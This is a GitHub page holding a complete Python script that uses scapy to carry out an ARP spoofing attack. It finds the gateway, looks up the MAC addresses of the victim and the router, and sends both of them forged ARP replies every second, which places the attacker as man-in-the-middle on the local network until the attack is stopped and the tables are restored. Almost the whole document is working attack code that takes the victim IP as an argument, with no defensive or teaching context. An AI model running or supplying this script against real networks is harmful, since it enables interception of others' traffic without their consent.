-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy patharpspoofing.py
78 lines (66 loc) · 2.23 KB
/
arpspoofing.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/env python
from scapy.all import *
import time
import netifaces
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
conf.verb = 0
def check_root():
if os.geteuid() != 0:
print("Script must run as root")
sys.exit(1)
def get_gateway_ip():
try:
gateways = netifaces.gateways()
default_gateway = gateways['default'][netifaces.AF_INET][0]
return default_gateway
except (KeyError, IndexError):
return None
def get_internal_ip():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
private_ip = s.getsockname()[0]
s.close()
return private_ip
def get_mac(ip):
arp_request = ARP(pdst=ip)
broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answered_list = srp(arp_request_broadcast, timeout=1, verbose=False)[0]
if answered_list:
return answered_list[0][1].hwsrc
else:
print(f"[!] Could not find MAC address for IP: {ip}")
sys.exit(1)
def spoof_arp(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
send(packet, verbose=False)
def restore_arp(target_ip, gateway_ip):
print("\nRestoring ARP Tables")
target_mac = get_mac(target_ip)
gateway_mac = get_mac(gateway_ip)
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=gateway_mac)
send(packet, count=4, verbose=False)
print("ARP tables restored.")
def arp_spoofing_attack(target_ip, gateway_ip):
try:
print("To stop press CTRL+C")
while True:
spoof_arp(target_ip, gateway_ip)
spoof_arp(gateway_ip, target_ip)
time.sleep(1)
except KeyboardInterrupt:
print("\n[!] Detected CTRL+C! Restoring ARP tables...")
restore_arp(target_ip, gateway_ip)
sys.exit(1)
def main():
check_root()
victim_ip = sys.argv[1]
router_ip = sys.argv[2] if len(sys.argv) > 2 else get_gateway_ip()
print("Sending spoofed ARP packets")
print("Router IP:", router_ip)
print("Target IP:", victim_ip)
arp_spoofing_attack(victim_ip, router_ip)
if __name__ == "__main__":
main()